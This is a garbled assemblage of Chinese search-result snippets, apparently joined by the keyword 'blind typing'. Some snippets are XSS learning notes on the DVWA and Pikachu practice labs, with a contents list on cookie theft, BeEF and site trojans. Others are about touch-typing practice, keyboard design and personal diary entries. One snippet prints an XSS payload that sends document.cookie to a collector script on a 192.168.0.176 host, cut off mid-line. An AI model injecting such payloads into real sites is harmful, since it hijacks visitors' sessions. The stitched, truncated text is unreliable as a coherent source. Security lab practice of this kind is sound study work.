免责声明本文仅是个人对XSS和文件上传绕过及相关工具的学习测试过程记录，不具有恶意引导意向。一使用pikachu平台练习XSS键盘记录以dvwa-Low靶场为目标网站，通过dvwa的存储型XSS上传JS，验证pikachu工具对dvwa靶场页面键盘操作的记录1.1调试pikachu环境①调整Pikac

目录【学习目标、重难点知识】【学习目标】【重难点知识】XSS盲打（加载远程攻击payload）XSS偷cookiecookie收集在线XSS收集平台的使用1.BeeF框架的使用BeeF简介安装和使用XSS一些实战应用1.XSSPDF2.公网投毒3.网站挂马XSS防御HttpOnly输入检查输出检查

不知道小伙伴们有没有注意过，我们常用的电脑键盘上，为什么F和J这两个键总是有两个凸起的横线的呢？首先，让我们来回顾一下这位陪伴我们多年的老朋友——键盘。从最初的打字机到现在的机械键盘、薄膜键盘，键盘的形态和功能都经历了巨大的变化。但不管怎么变，有一个经典的布局始终

键盘盲打是练出来的，那该如何练习呢？很简单，看着屏幕提示跟着练。屏幕上哪里有提示呢？请看我的截屏：截屏下方有8个带字母的方块按钮，这个就是提示，也就是我们常说的8个基准键位，我们的8个手指就是放在键盘的这8个按键上的，请看上图，现在光标位置要打的是字母S，反白提示出现在了S键位

10-21周六今天单片机到了，不过我没有学习就是了都是在看漫画和练习打字。练习的第二天盲打基本上没什么问题了。现在追求的是速度，慢慢来。我现在就是盲打的这篇日记，速度上比昨天好多了。不能说是满足需求，能说是可以正常打字了，慢是慢了点而已，不碍事就这样了吧。

XSS打cookie 盲打cookiepayload<script>document.location='http://192.168.0.176/Hcookie.php?cookie='+document.cookie;</script><imgsrc='http://192.168.

跟Kaguya讨论了一下要不要看看大母神崇拜里面的那个番，要看的，一致意见是要看的。为什么都在用Vim，不是很理解。兴许真的很好用罢。我个人的意见是：在我会盲打和正则